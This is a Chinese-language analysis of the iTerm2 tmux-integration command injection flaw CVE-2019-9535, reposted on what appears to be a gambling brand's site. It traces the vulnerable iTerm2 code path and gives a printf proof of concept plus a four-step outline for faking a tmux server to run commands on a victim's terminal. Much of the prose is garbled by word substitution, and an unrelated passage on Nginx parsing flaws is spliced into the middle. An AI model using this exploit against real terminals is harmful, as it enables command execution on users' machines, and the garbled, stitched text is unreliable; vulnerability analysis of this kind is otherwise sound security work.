iTerm2 恣意敕令实行破绽剖析(CVE-2019-9535) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

iTerm2 恣意敕令实行破绽剖析(CVE-2019-9535)

申博_安全预警 申博 116次浏览 已收录 0个评论

媒介

2019年10月9号,Mozilla平安团队公开了iTerm2一个存在了7年的恣意敕令实行破绽,用户在运用通例敕令(如ssh、curl等存在信息返回的敕令)时都存在被进击的能够,而因为iTerm2的是现在Mac OSX上最盛行的终端之一,因而该破绽影响局限较大,CVSS评分为9.8(critical)

该破绽存在于iTerm2的tmux集成模块中,然则与tmux的装置与否没有关系,只须要用户的iTerm2输出歹意的内容时,进击者就能够在用户的盘算机上实行敕令,所以很多罕见的敕令都能够致使用户被进击,如nccatsshcurlheadtail等等。

什么是tmux?

tmux 是一款终端复用软件,用户能够在一个窗口里经过历程 tmux 建立、接见和掌握多个星散的终端,同时还许可对终端举行“解绑”与“附加”。

tmux供应了一个纯文本交互的接口以轻易其他运用与tmux举行交互,这一特征称为CONTROL MODE,iTerm2也经过历程这一特征来完成了tmux集成模块。

在tmux的man page中,能够晓得CONTROL MODE能够由tmux -Ctmux -CC启动,该形式请求client须要发送以回车为末端的tmux敕令,每一个tmux敕令都邑有一个以%begin开首和%end末端的文本块代表输出内容,或许一个以%error开首的文本块代表毛病内容。

CONTROL MODE中tmux服务端会向客户端输出以下内容,来关照其状况的转变:

  • %client-session-changed client session-id name
  • %exit [reason]
  • %layout-change window-id window-layout window-visible-layout window-flags
  • %output pane-id value
  • %pane-mode-changed pane-id
  • %session-changed session-id name
  • %session-renamed name
  • %session-window-changed session-id window-id
  • %sessions-changed
  • %unlinked-window-add window-id
  • %window-add window-id
  • %window-close window-id
  • %window-pane-changed window-id pane-id
  • %window-renamed window-id name

剖析

起首先看对应的(commit)[https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c]形貌:

Do not send server-controlled values in tmux integration mode.

CVE-2019-9535

  • Use session number everywhere rather than session name
  • Do not poll tmux for the set-titles-string, status-left, and status-right and
    then request the values of the returned format strings. Use ${T:} eval
    instead. These features are now only available for tmux 2.9 and later.
  • Hex-encode options saved in the tmux server to make them unexploitable (e.g.,
    hotkeys, window affinities, window origins, etc.). The old values are
    accepted as inputs but will never be produced as output.

能够晓得破绽存在于处置惩罚set-titles-stringstatus-leftstatus-right时没有对输入举行校验从而致使的敕令注入。因为破绽成因邻近,本文只剖析set-titles-string的破绽道理和应用。

浏览tmux源码时,发明当以-CC进入CONTROL MODE时,tmux会输出\033P1000p和一个初始化文本块,比方:

\033P1000p%begin 1337 0 0
%end 1337 0 0

而iTerm2也是应用这一输出推断是不是进入tmux形式,因而经过历程组织输出,iTerm2也会进入tmux形式

$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"
** tmux mode started **

Command Menu
----------------------------
esc    Detach cleanly.
  X    Force-quit tmux mode.
  L    Toggle logging.
  C    Run tmux command.

在浏览iTerm2源码后,发明当处于tmux形式时,iTerm2会将tmux的输出传入TmuxGateway.mexecuteToken函数中,该函数负责处置惩罚tmux的返回数据并挪用响应的回调函数。

在处置惩罚初始化文本块时,会挪用currentCommandResponseFinishedWithError函数

- (void)currentCommandResponseFinishedWithError:(BOOL)withError
{
// ......
    if (!_initialized) {
        _initialized = YES;
        if (withError) {
            [delegate_ tmuxInitialCommandDidFailWithError:currentCommandResponse_];
        } else {
            [delegate_ tmuxInitialCommandDidCompleteSuccessfully];
        }
    }
// ......
}

最后会进入PTYSession.mtmuxInitialCommandDidCompleteSuccessfully函数来举行初始化

- (void)tmuxInitialCommandDidCompleteSuccessfully {
    // This kicks off a chain reaction that leads to windows being opened.
    [_tmuxController ping];
    [_tmuxController validateOptions];
    [_tmuxController checkForUTF8];
    [_tmuxController guessVersion];
    [_tmuxController loadTitleFormat];
}

而该函数会挪用TmuxGateWay.msendCommand服务端发送一系列的tmux敕令用于初始化:

# tmux敕令 回调函数
1 display-message -p -F . handlePingResponse
2 show-window-options -g aggressive-resize showWindowOptionsResponse
3 show-option -g -v status handleStatusResponse
4 list-sessions -F “\t” checkForUTF8Response
5 display-message -p “#{version}” handleDisplayMessageVersion
6 show-window-options pane-border-format guessVersion23Response
7 list-windows -F “#{socket_path}” guessVersion22Response
8 list-windows -F “#{session_activity}” guessVersion21Response
9 list-clients -F “#{client_cwd}” guessVersion18Response
10 show-options -v -g set-titles handleShowSetTitles
11 show-options -v -g set-titles-string handleShowSetTitlesString

当敕令#10(show-options -v -g set-titles)的返回是on时,变量_shouldSetTitles值设为true,而敕令#11(show-options -v -g set-titles-string)将返回的内容存入setTitlesString变量中,使得该变量可控

- (void)handleShowSetTitles:(NSString *)result {
    _shouldSetTitles = [result isEqualToString:@"on"];
    [[NSNotificationCenter defaultCenter] postNotificationName:kTmuxControllerDidFetchSetTitlesStringOption
                                                        object:self];
}

- (void)handleShowSetTitlesString:(NSString *)setTitlesString {
    _setTitlesString = [setTitlesString copy];
}

同时handleShowSetTitles函数会播送kTmuxControllerDidFetchSetTitlesStringOption音讯,从而触发PTYTab.mtmuxDidFetchSetTitlesStringOption函数。

- (void)tmuxDidFetchSetTitlesStringOption:(NSNotification *)notification {
    if (notification.object != tmuxController_) {
        return;
    }

    [self updateTmuxTitleMonitor];
}

- (void)updateTmuxTitleMonitor {
    if (!self.isTmuxTab) {
        return;
    }
    if (tmuxController_.shouldSetTitles) {
        if (_tmuxTitleMonitor) {
            return;
        }
        [self installTmuxTitleMonitor];
    } else {
        if (!_tmuxTitleMonitor) {
            return;
        }
        [self uninstallTmuxTitleMonitor];
    }
}

然则因为此时tmuxController_nil,因而notification.object != tmuxController_为真,并不会挪用updateTmuxTitleMonitor

然则,假如实行了updateTmuxTitleMonitor函数,因为_shouldSetTitlestrue,所以会挪用installTmuxTitleMonitor

Web中间件漏洞总结之Nginx漏洞

解析漏洞 漏洞简介: 对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,是用户配置不当造成的 漏洞复现: 在网站根目录新建test.jpg,里面写入phpinfo(),打开试一下 试一试Nginx的解析漏洞,在后面加上/x.php 对于低版本的php能够直接解析成功,高版本php因为引入了security.limit_extensions,限制了可执行文件的后缀,默认只允许执行.php文件,这里来看看两个与Nginx解析漏洞相关的核心配置 核心配置:cgi.fix_pathinfo 该选项位于配置文件php.ini中,默认值为1,表示开启。当php遇到文件路径/aaa.xxx/bbb.yyy/ccc.zzz时,若/aaa.xxx/bbb.yyy/ccc.zzz不存在,则会去掉最

- (void)installTmuxTitleMonitor {
    assert(!_tmuxTitleMonitor);
    if (self.tmuxWindow < 0) {
        return;
    }
    _tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:tmuxController_.gateway
             scope:self.variablesScope
             format:tmuxController_.setTitlesString
             target:[NSString stringWithFormat:@"@%@", @(self.tmuxWindow)]
             variableName:iTermVariableKeyTabTmuxWindowTitle
             block:nil];
    [_tmuxTitleMonitor updateOnce];
    if (self.titleOverride.length == 0) {
        // Show the tmux window title if both the tmux option set-titles is on and the user hasn't
        // already set a title override.
        self.variablesScope.tabTitleOverrideFormat = [NSString stringWithFormat:@"\\(%@?)", iTermVariableKeyTabTmuxWindowTitle];
    }
}

而该函数把可控的tmuxController_.setTitlesString作为format参数,挪用initWithGateway初始化一个iTermTmuxOptionMonitor类,从而致使iTermTmuxOptionMonitor的成员变量_format是可控的,而后续又会挪用iTermTmuxOptionMonitor中的成员函数updateOnce

- (void)updateOnce {
    if (_haveOutstandingRequest) {
        DLog(@"Not making a request because one is outstanding");
        return;
    }
    _haveOutstandingRequest = YES;
    NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];
    DLog(@"Request option with command %@", command);
    [self.gateway sendCommand:command
               responseTarget:self
             responseSelector:@selector(didFetch:)
               responseObject:nil
                        flags:kTmuxGatewayCommandShouldTolerateErrors];
}

- (NSString *)escapedFormat {
    return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]
            stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
}

而在updateOnce函数中,将可控的_format变量中的'替换成\'以及\替换成\\后发送给tmux服务端,因为没有过滤CRLF从而致使后续应用的发作。

但是,此时的updateTmuxTitleMonitor函数并没有被实行,因而题目转变为怎样触发updateTmuxTitleMonitor的实行。

在对iTerm2的tmux集成模块源码举行一番浏览后,发明TmuxGateway.m中的函数parseSessionChangeCommand,该函数在接收到tmux服务端返回的以%session-changed开首的敕令时被实行,而且该函数终究会挪用函数openWindowsInitial

而在openWindowsInitial中,向tmux服务端发送敕令show -v -q -t $%d @iterm2_size并注册了回调函数handleShowSize

- (void)openWindowsInitial {
    NSString *command = [NSString stringWithFormat:@"show -v -q -t $%d @iterm2_size", sessionId_];
    [gateway_ sendCommand:command
           responseTarget:self
         responseSelector:@selector(handleShowSize:)];
}

- (void)handleShowSize:(NSString *)response {
    NSScanner *scanner = [NSScanner scannerWithString:response ?: @""];
    int width = 0;
    int height = 0;
    BOOL ok = ([scanner scanInt:&width] &&
               [scanner scanString:@"," intoString:nil] &&
               [scanner scanInt:&height]);
    if (ok) {
        [self openWindowsOfSize:VT100GridSizeMake(width, height)];
    } else {
        [self openWindowsOfSize:[[gateway_ delegate] tmuxClientSize]];
    }
}

- (void)openWindowsOfSize:(VT100GridSize)size {
    // ......
    NSString *listWindowsCommand = [NSString stringWithFormat:@"list-windows -F %@", kListWindowsFormat];
    // ......
    NSArray *commands = @[ 
        // ......
        [gateway_ dictionaryForCommand:listWindowsCommand
                responseTarget:self
                responseSelector:@selector(initialListWindowsResponse:)
                responseObject:nil
                flags:0] ];
    [gateway_ sendCommandList:commands];
}

handleShowSize被回调时,会挪用openWindowsOfSize向tmux服务端发送一系列tmux敕令,个中有一条敕令list-windows -F %@的回调函数是initialListWindowsResponse,而该函数终究会经过历程函数openWindows来建立tmux窗口,在这历程当中函数appendRequestsForNode会被挪用。

因为appendRequestsForNode的挪用链太长,在此不再赘述,挪用链以下:

- appendRequestsForNode
    - appendRequestsForWindowPane
        - dictForGetPendingOutputForWindowPane
            - getPendingOutputResponse
                - requestDidComplete
                    - loadTmuxLayout
                        - openTabWithTmuxLayout
                            - updateTmuxTitleMonitor // [破绽触发]

自此,我们已能够注入歹意敕令到tmux服务端,以下图所示

iTerm2 恣意敕令实行破绽剖析(CVE-2019-9535)

然则这里存在一个题目,因为tmux server是由我们捏造的,那末纵然注入了歹意的tmux敕令,也只是把歹意敕令返回给本身(即不存在真正的tmux server去处置惩罚它),那末所谓的敕令注入又是怎样实行的呢?

应用

事实上,一切的tmux敕令都经过TmuxGateway举行处置惩罚,一切待处置惩罚的敕令都邑存放在TmuxGatewaycommandQueue_行列中。当某条敕令失足时,一切的待处置惩罚敕令会被奇异的输出在iTerm2里(包含回车),这就造成了敕令注入,一个简朴的POC以下:

sh-3.2$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0\n%%CVE-2019-9535\n"
** tmux mode started **

Command Menu
----------------------------
esc    Detach cleanly.
  X    Force-quit tmux mode.
  L    Toggle logging.
  C    Run tmux command.
Unrecognized command from tmux. Did your ssh session die? The command was:
sh-3.2$ display-message -p -F .
Detached
sh-3.2$ show-option -g -v status
sh: show-option: command not found
sh-3.2$ list-sessions -F ""
sh: list-sessions: command not found
sh-3.2$ display-message -p "#{version}"
sh: display-message: command not found
sh-3.2$ show-window-options pane-border-format
sh: show-window-options: command not found
sh-3.2$ list-windows -F "#{socket_path}"
sh: list-windows: command not found
sh-3.2$ list-windows -F "#{session_activity}"
sh: list-windows: command not found
sh-3.2$ list-clients -F "#{client_cwd}"
sh: list-clients: command not found
sh-3.2$ show-options -v -g set-titles; show-options -v -g set-titles-string
sh: show-options: command not found
sh: show-options: command not found
sh-3.2$

综上,破绽的重要应用历程以下:

  1. 经过历程"\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"假装tmux服务
  2. 对iTerm2发出的tmux敕令返回正当的效果,个中show-options -v -g set-titles返回onshow-options -v -g set-titles-string返回歹意payload
  3. 向iTerm2发出%session-changed关照,用于触发updateTmuxTitleMonitor,将歹意敕令注入TmuxGateway.commandQueue_
  4. 对iTerm2发出的tmux敕令返回不法的效果,触发敕令实行

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明iTerm2 恣意敕令实行破绽剖析(CVE-2019-9535)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址